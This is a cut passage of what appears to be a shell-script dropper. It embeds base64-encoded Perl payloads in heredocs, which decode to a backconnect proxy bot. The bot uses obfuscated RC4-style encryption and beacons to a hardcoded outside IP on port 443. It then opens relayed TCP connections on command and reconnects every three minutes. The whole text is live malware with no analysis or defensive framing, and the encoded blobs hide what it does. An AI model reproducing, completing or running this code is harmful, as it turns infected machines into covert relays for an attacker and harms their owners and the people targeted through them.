ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_23() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 